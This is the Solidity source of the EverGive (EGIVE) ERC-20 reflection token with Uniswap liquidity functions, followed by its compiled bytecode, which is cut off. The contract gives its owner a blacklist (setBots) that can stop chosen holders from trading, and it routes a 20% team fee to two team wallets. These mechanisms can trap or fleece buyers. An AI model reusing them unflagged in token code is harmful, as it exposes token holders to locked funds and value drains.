library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EverGive is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EverGive";
string private constant _symbol = "EGIVE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f4576657247697665000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4547495645000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a3385828